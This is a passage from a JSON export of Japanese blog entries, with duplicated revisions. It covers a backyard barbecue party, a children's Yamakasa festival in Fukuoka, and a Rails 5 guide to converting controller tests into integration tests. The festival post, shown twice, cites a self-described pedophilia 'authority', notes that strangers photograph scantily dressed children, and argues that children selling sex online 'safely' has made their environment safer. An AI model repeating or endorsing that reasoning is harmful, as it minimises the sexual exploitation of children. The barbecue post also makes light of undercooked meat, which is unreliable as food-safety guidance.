style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BG9fTgOPxLW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこの R2-D2 のような装置を導入したところいきなり大勝利した\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-06-22T14:51:50+00:00\"\u003e2016 6月 22 7:51午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\r\n\u003c/blockquote\u003e \r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこの機械はすごく、[楽天で 6400 円で売っています](http://item.rakuten.co.jp/sunsunkan/10000151)。設置に庭が必要なのが難点ですが、庭がある人はいますぐに買ったほうがよいです。\r\n\r\nこの R2-D2 で肉を焼く為には炭が必要です。炭は簡単に着火することが難しいということがインターネットから分かるので、着火剤や着火器も買います。買ったのは以下のやつ。炭をつかむトングみたいなやつは押し入れになぜか転がっていました。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B0015FRCHS\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001ERVU6G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00MWPCDY2\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B0015FRCHS/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B0015FRCHS\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eロゴス 着火剤 防水ファイヤーライター 83010000 [HTRC 4.1]\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B001ERVU6G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001ERVU6G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eキャプテンスタッグ 炭焼き名人FD火起し器 M-6638\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B00MWPCDY2/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00MWPCDY2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e炭魂 大黒オガ備長炭 一級品 長時間燃焼 10kg\u003c/a\u003e\r\n\r\nちなみにあたかも万全の準備をしていたかのように上には書きましたがそれは嘘で、火を着けようとしてみると着かないので Amazon Prime Now を検索したところ上のグッズが見付かったので買ったところ 1 時間で届いたという経緯です。 Amazon Prime Now で頼むとおっちゃんが「アマゾンデース」って大声あげながら来るので緊張する。\r\n\r\n肉は海老名まで行きロピアというスーパーで買います。ここは普通のスーパーですが何故かデカい肉が大量に売られており便利。\r\n\r\nそういうわけでやっていきます。肉は 15 時から焼き始め 24 時まで焼いていました。だいたい 200 度(華氏)を保ちながらビールで蒸したりスモークチップを放りこんでスモークしたり、気持ちでやっていきます。シーズニングはチリパウダーメインのものとハーブメインでオイルを入れたものと、二種類用意します。散々酒を飲みアニメを見てゲームをしていたのでろくな写真がない。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eこれは大会参加者です \u003ca href=\"https://t.co/fPUG76a1OU\"\u003epic.twitter.com/fPUG76a1OU\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746555560271581184\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n焼く前の骨です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/TELsnAHUdZ\"\u003epic.twitter.com/TELsnAHUdZ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746658847775809536\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれは鳥の脚かなにかです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e様子です \u003ca href=\"https://t.co/NocAlGZZPo\"\u003epic.twitter.com/NocAlGZZPo\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746631514805284864\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nマグロの血合やその他の写真です。マグロの血合は前日に流水にさらして血を抜き、酒、醤油、しょうが、にんにくで漬け込んでおいたものです。これを 2 時間ほどグリルで蒸し焼き + スモークをすると勝利します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/1t5IKpH1L2\"\u003epic.twitter.com/1t5IKpH1L2\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746681006246137858\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n牛です。ヤバそうな色をしていますし芯温も測っていません。 3 時間ぐらい焼いたし誰も体調壊してなかったし多分大丈夫だと思う。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eご自由にお持ち帰りください \u003ca href=\"https://t.co/KvBp5OGzAQ\"\u003epic.twitter.com/KvBp5OGzAQ\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746629628970696704\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nパンと写真集が用意され、自由に持って帰ることができる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eうますぎていきなり勝利した \u003ca href=\"https://t.co/YBwVULaK2f\"\u003epic.twitter.com/YBwVULaK2f\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/745629144218624000\"\u003eJune 22, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n何かです。\r\n","created_at":"2016-06-29T08:49:07.000Z","updated_at":"2016-06-29T08:49:07.000Z"},{"id":2956,"name":"text/大会","body":"%blog% バーベキュー大会を開いた\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/a368P4OZNp\"\u003epic.twitter.com/a368P4OZNp\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746635940995600386\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nいろいろあったのでバーベキュー大会が開かれます。[前回実験の様子はこちらです](http://ssig33.com/text/%E3%83%90%E3%83%BC%E3%83%99%E3%82%AD%E3%83%A5%E3%83%BC)。人は 10 人ぐらいきました。\r\n\r\n今回は装備を強化して臨むことにします。装備はこちらです。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"7\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e\r\n\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAMUExURczMzPf399fX1+bm5mzY9AMAAADiSURBVDjLvZXbEsMgCES5/P8/t9FuRVCRmU73JWlzosgSIIZURCjo/ad+EQJJB4Hv8BFt+IDpQoCx1wjOSBFhh2XssxEIYn3ulI/6MNReE07UIWJEv8UEOWDS88LY97kqyTliJKKtuYBbruAyVh5wOHiXmpi5we58Ek028czwyuQdLKPG1Bkb4NnM+VeAnfHqn1k4+GPT6uGQcvu2h2OVuIf/gWUFyy8OWEpdyZSa3aVCqpVoVvzZZ2VTnn2wU8qzVjDDetO90GSy9mVLqtgYSy231MxrY6I2gGqjrTY0L8fxCxfCBbhWrsYYAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BG9fTgOPxLW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこの R2-D2 のような装置を導入したところいきなり大勝利した\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-06-22T14:51:50+00:00\"\u003e2016 6月 22 7:51午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\r\n\u003c/blockquote\u003e \r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこの機械はすごく、[楽天で 6400 円で売っています](http://item.rakuten.co.jp/sunsunkan/10000151)。設置に庭が必要なのが難点ですが、庭がある人はいますぐに買ったほうがよいです。\r\n\r\nこの R2-D2 で肉を焼く為には炭が必要です。炭は簡単に着火することが難しいということがインターネットから分かるので、着火剤や着火器も買います。買ったのは以下のやつ。炭をつかむトングみたいなやつは押し入れになぜか転がっていました。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B0015FRCHS\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001ERVU6G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00MWPCDY2\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B0015FRCHS/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B0015FRCHS\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eロゴス 着火剤 防水ファイヤーライター 83010000 [HTRC 4.1]\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B001ERVU6G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001ERVU6G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eキャプテンスタッグ 炭焼き名人FD火起し器 M-6638\u003c/a\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B00MWPCDY2/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00MWPCDY2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e炭魂 大黒オガ備長炭 一級品 長時間燃焼 10kg\u003c/a\u003e\r\n\r\nちなみにあたかも万全の準備をしていたかのように上には書きましたがそれは嘘で、火を着けようとしてみると着かないので Amazon Prime Now を検索したところ上のグッズが見付かったので買ったところ 1 時間で届いたという経緯です。 Amazon Prime Now で頼むとおっちゃんが「アマゾンデース」って大声あげながら来るので緊張する。\r\n\r\n肉は海老名まで行きロピアというスーパーで買います。ここは普通のスーパーですが何故かデカい肉が大量に売られており便利。\r\n\r\nそういうわけでやっていきます。肉は 15 時から焼き始め 24 時まで焼いていました。だいたい 200 度(華氏)を保ちながらビールで蒸したりスモークチップを放りこんでスモークしたり、気持ちでやっていきます。シーズニングはチリパウダーメインのものとハーブメインでオイルを入れたものと、二種類用意します。散々酒を飲みアニメを見てゲームをしていたのでろくな写真がない。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eこれは大会参加者です \u003ca href=\"https://t.co/fPUG76a1OU\"\u003epic.twitter.com/fPUG76a1OU\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746555560271581184\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n焼く前の骨です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/TELsnAHUdZ\"\u003epic.twitter.com/TELsnAHUdZ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746658847775809536\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれは鳥の脚かなにかです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e様子です \u003ca href=\"https://t.co/NocAlGZZPo\"\u003epic.twitter.com/NocAlGZZPo\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746631514805284864\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nマグロの血合やその他の写真です。マグロの血合は前日に流水にさらして血を抜き、酒、醤油、しょうが、にんにくで漬け込んでおいたものです。これを 2 時間ほどグリルで蒸し焼き + スモークをすると勝利します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/1t5IKpH1L2\"\u003epic.twitter.com/1t5IKpH1L2\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746681006246137858\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n牛です。ヤバそうな色をしていますし芯温も測っていません。 3 時間ぐらい焼いたし誰も体調壊してなかったし多分大丈夫だと思う。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eご自由にお持ち帰りください \u003ca href=\"https://t.co/KvBp5OGzAQ\"\u003epic.twitter.com/KvBp5OGzAQ\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746629628970696704\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nパンと写真集が用意され、自由に持って帰ることができる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/Q4HupHutc6\"\u003epic.twitter.com/Q4HupHutc6\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746677358355062784\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n人々が写真集を見る様子です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eうますぎていきなり勝利した \u003ca href=\"https://t.co/YBwVULaK2f\"\u003epic.twitter.com/YBwVULaK2f\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/745629144218624000\"\u003eJune 22, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n何かです。\r\n","created_at":"2016-06-29T08:49:47.000Z","updated_at":"2016-06-29T08:49:47.000Z"},{"id":2957,"name":"text/子供山笠2016","body":"%blog% 子供山笠を見た\r\n\r\n金曜夜から今朝までという日程で福岡に行ったのだが、偶然新天町というところで子供山笠なるイベントを見た。\r\n\r\nそれは子供が小型の山車を引き回すというイベントなのだが、子供の服装がすごく、ふんどしに水法被だけですごい露出度である。また男児だけでなく女児も参加している。\r\nさらにたくさん人が普通に iPhone で撮影しまくっている。\r\n\r\nこれはすごいなということで僕も写真を撮ったりしつつ、知人のロリペド界の権威のような人に質問をしたところ\r\n\r\n- ロリペド界では有名なイベントである\r\n- 撮影禁止であるとされている\r\n\r\nというような話だった。実際知恵袋とか見るとそんな感じの話が乗っている。\r\n\r\nが、実際にはガンガン撮影できて、父母にまじってあきらかに父母ではない雰囲気の人がニコニコ撮影しているのであった。\r\n\r\nとここで知恵袋とかの記事の日付をみると 2008 年とかそんな感じの日付が多い。一方子供山笠の参加は小学校就学前〜小学校低学年が中心であるらしいから、 5-6 年で親は全部入れ替わってしまう。\r\n\r\nということは最近の児童の親はもはや児童ポルノやペドフィリアに対する警戒心を殆ど失なってしまっているのだろう。\r\n\r\n実際問題昨今実際におっさんが児童を撮影した児童ポルノの話はあまり聞かず、児童ポルノと言えば配信サービスで児童が自主制作しているものが多い。もちろん今でもおっさんに食い物にされている児童もいるのだろうが、インターネット経由で安全に性を売り物にしている児童が増えたことは容易に想像できる。実際児童をとりまく性の環境は以前より安全になっているのではないか。\r\n\r\nとはいえいくらなんでも今の親世代は警戒心が無さすぎるのではないかと思いました。こちらからは以上です。","created_at":"2016-07-04T06:57:00.000Z","updated_at":"2016-07-04T06:57:00.000Z"},{"id":2958,"name":"text/子供山笠2016","body":"%blog% 子供山笠を見た\r\n\r\n金曜夜から今朝までという日程で福岡に行ったのだが、偶然新天町というところで子供山笠なるイベントを見た。\r\n\r\nそれは子供が小型の山車を引き回すというイベントなのだが、子供の服装がすごく、ふんどしに水法被だけですごい露出度である。また男児だけでなく女児も参加している。\r\nさらにたくさんの人が普通に iPhone で撮影しまくっている。\r\n\r\nこれはすごいなということで僕も写真を撮ったりしつつ、知人のロリペド界の権威のような人に質問をしたところ\r\n\r\n- ロリペド界では有名なイベントである\r\n- 撮影禁止であるとされている\r\n\r\nというような話だった。実際知恵袋とか見るとそんな感じの話が乗っている。\r\n\r\nが、実際にはガンガン撮影できて、父母にまじってあきらかに父母ではない雰囲気の人がニコニコ撮影しているのであった。\r\n\r\nとここで知恵袋とかの記事の日付をみると 2008 年とかそんな感じの日付が多い。一方子供山笠の参加は小学校就学前〜小学校低学年が中心であるらしいから、 5-6 年で親は全部入れ替わってしまう。\r\n\r\nということは最近の児童の親はもはや児童ポルノやペドフィリアに対する警戒心を殆ど失なってしまっているのだろう。\r\n\r\n実際問題昨今実際におっさんが児童を撮影した児童ポルノの話はあまり聞かず、児童ポルノと言えば配信サービスで児童が自主制作しているものが多い。もちろん今でもおっさんに食い物にされている児童もいるのだろうが、インターネット経由で安全に性を売り物にしている児童が増えたことは容易に想像できる。実際児童をとりまく性の環境は以前より安全になっているのではないか。\r\n\r\nとはいえいくらなんでも今の親世代は警戒心が無さすぎるのではないかと思いました。こちらからは以上です。","created_at":"2016-07-04T06:59:58.000Z","updated_at":"2016-07-04T06:59:58.000Z"},{"id":2959,"name":"text/controller_test_2_integration_test","body":"%blog% Rails のコントローラーテストをインテグレーションテストに最低限の手間で移行する\r\n\r\nRails 5 がリリースされました。多分目玉としては ActionCable の導入なのですが、既存コードベースのアップグレードに関して一番重要な問題は、[コントローラーテスト](https://github.com/rails/rails/commit/f42ac6a06880bfc02857ab71758214ad7867c22f)が廃止されるというものになるのではないでしょうか。\r\n\r\nというわけで気持ちになってやっていきます。\r\n\r\n一般的に今でも Rails のテストの記述には RSpec が用いられることが多いのではないでしょうか。僕も以前 [RSpec の記法のメリットについて書きました](http://text.ssig33.com/45)。ですが私達のチームでは RSpec ではなく test-unit を使っています。理由としては\r\n\r\n- RSpec のマッチャーとかの記法がヤバくなった([こういう話](http://tmtms.hatenablog.com/entry/2014/10/12/ruby-test-unit))\r\n - xUnit のアサーションの方が書きやすくね?という\r\n- RSpec の context は確かに強力な機能だが実際には特に生かされていなかった\r\n- RSpec のメンテナのアイコンがキモい\r\n - ![img](http://s.ssig33.com/a/4f81e92f54ae45c98803d5f4b553b4d9)\r\n\r\n\r\nというわけですから私達のチームのテストコードは以下のような感じになっています。\r\n\r\n``` ruby\r\nrequire 'test_helper'\r\nclass PostControllerTest \u003c ActionController::TestCase \r\n test 'hogehoge' do\r\n get(:hogehoge)\r\n assert_response :ok\r\n assert_equal hoge, assigns[:hoge] \r\n end\r\n\r\n test 'redirect_to hugahuga on hogehoge when hugahuga' do\r\n get(:hogehoge, fugafuga: 'hohoho')\r\n assert_redirected_to hugahuga_url\r\n end\r\n\r\n test 'payment_required on hogehoge when session has aaaa' do\r\n get(:hogehoge, {}, {aaaa: true)\r\n assert_response :payment_required\r\n end\r\nend\r\n```\r\n\r\nこれをいちいちインテグレーションテストに書き換えるのは、テストファイル自体が 100 個ぐらいあってテストケースも 1000 個あるという場合にはなかなかやりたくない作業です。というわけですからこれを最低限の手間でやっていきたい。\r\n\r\nまずは ActionController::TestCase を ActionDispatch::IntegrationTest に変えてしまいます。そのままでは当然テストが落ちます。そこでおもむろに ControllerIntegration というモジュールを作りこれを include します。\r\n\r\nそして ControllerIntegration モジュールにコントローラーテストの各要素をインテグレーションテストに置き換える処理を書いていきます。実際にできたものがコレ。\r\n\r\nこの恐ろしい力技をごらんください。\r\n\r\n``` ruby\r\n# Integration テストでコントローラーテストを再現するためのメソッド群\r\nmodule ControllerIntegration\r\n extend ActiveSupport::Concern\r\n attr_accessor :response_url, :response_session, :request, :controller\r\n def session\r\n obj = page.get_rack_session\r\n obj.delete 'session_id'\r\n obj\r\n end\r\n\r\n def do_request method, url, opts, session_obj\r\n set_session session_obj\r\n \r\n page.driver.options[:headers] = {}\r\n page.driver.options[:headers]['HTTP_USER_AGENT'] = 'Rails Testing'\r\n if @request and @request.env\r\n @request.env.each do |k,v|\r\n page.driver.options[:headers][k] = v\r\n end\r\n end\r\n\r\n page.driver.submit(method, url, opts)\r\n @response_url = current_url\r\n @response_session = page.dup\r\n @response = response()\r\n end\r\n\r\n %w(get post delete put patch).each do |name|\r\n define_method name do |url, opts = {}, session_obj = {}|\r\n if url.class.to_s == 'Symbol' and @controller\r\n r = nil\r\n r = @request.dup if @request\r\n c = @controller.dup\r\n url = url_for(opts.merge({controller: @controller, action: url}))\r\n @controller = c\r\n @request = r if r\r\n end\r\n do_request __method__, url, opts, session_obj\r\n end\r\n end\r\n\r\n def set_session session_obj = {}\r\n header = page.driver.options[:headers]\r\n page.driver.options[:headers] = {}\r\n page.set_rack_session(session_obj)\r\n page.driver.options[:headers] = header\r\n end\r\n\r\n def response\r\n obj = OpenStruct.new\r\n obj.header = @response_session.response_headers\r\n obj.headers = @response_session.response_headers\r\n obj.body = @response_session.body\r\n obj.status = @response_session.status_code\r\n obj\r\n end\r\n\r\n def flash\r\n page.get_rack_session['flash']['flashes'].symbolize_keys\r\n end\r\n\r\n def assert_response code, message = nil\r\n case code\r\n when :ok, :success\r\n code = 200\r\n when :not_found\r\n code = 404\r\n when :gone\r\n code = 410\r\n when :not_modified\r\n code = 304\r\n when :payment_required\r\n code = 402\r\n when :bad_request\r\n code = 400\r\n when :created\r\n code = 201\r\n end\r\n\r\n assert_equal code, @response_session.status_code\r\n end\r\n\r\n def assert_redirected_to url\r\n unless url =~ /http/\r\n url = \"http://www.example.com#{url}\"\r\n end\r\n\r\n assert_equal url, @response_url\r\n end\r\n\r\n def assert_select selector, text = nil\r\n if text\r\n assert_selector selector, text: text\r\n else\r\n if text == false\r\n assert css(selector).count == 0\r\n else\r\n assert css(selector).count \u003e 0\r\n end\r\n end\r\n \r\n end\r\n\r\n def xpath xpath\r\n Nokogiri::HTML(@response_session.body).xpath(xpath)\r\n end\r\n\r\n def css css\r\n Nokogiri::HTML(@response_session.body).css(css)\r\n end\r\n\r\n def css_select css\r\n css(css)\r\n end\r\n\r\n included do\r\n setup{@request = OpenStruct.new(env: {})}\r\n teardown do\r\n Capybara.reset_sessions!\r\n page.driver.options[:headers] = {}\r\n end\r\n end\r\nend\r\n```\r\n\r\n\r\nこれで各テスト内で setup{ @controller = 'コントローラー名'} とか書いてしまえばほぼそのままコントローラーテストがインテグレーションテストに化けます。ヒューリスティックにやっているのでもちろん書き換えは必要なのですが、あとはエディタのマクロとかでさくっと対処できます。\r\n\r\nただしこれでは assigns だけはどうにもなりません。 Capybara を使うインテグレーションテストはなにをどうしてもコントローラーの内部状態を見ることができないので、これはレスポンスをみるとかデータベースの状態の変化をみるとかそういうテストに書き換える必要があります。\r\n\r\nコントローラーテストに assigns を大量使用していないという場合はこういう手法でわりと楽に Rails 5 に適合できるのではないでしょうか。\r\n\r\nちなみに上記コードを見ると分かるかと思いますが、私達のプロダクトでは 402 Payment Required が本当に使われています。\r\n\r\nところで株式会社ユビレジでは最新の Rails 環境で店舗運営を支える POS レジアプリを作りたいという開発者を募集しているそうです、今のところ[募集フォームがない](https://ubiregi.com/ja/jobs)のでメールで募集する気概のあるというかたはよろしければどうぞ。\r\n","created_at":"2016-07-09T05:49:31.000Z","updated_at":"2016-07-09T05:49:31.000Z"},{"id":2960,"name":"text/controller_test_2_integration_test","body":"%blog% Rails のコントローラーテストをインテグレーションテストに最低限の手間で移行する\r\n\r\nRails 5 がリリースされました。多分目玉としては ActionCable の導入なのですが、既存コードベースのアップグレードに関して一番重要な問題は、[コントローラーテストが廃止される](https://github.com/rails/rails/commit/f42ac6a06880bfc02857ab71758214ad7867c22f)というものになるのではないでしょうか。\r\n\r\nというわけで気持ちになってやっていきます。\r\n\r\n一般的に今でも Rails のテストの記述には RSpec が用いられることが多いのではないでしょうか。僕も以前 [RSpec の記法のメリットについて書きました](http://text.ssig33.com/45)。ですが私達のチームでは RSpec ではなく test-unit を使っています。理由としては\r\n\r\n- RSpec 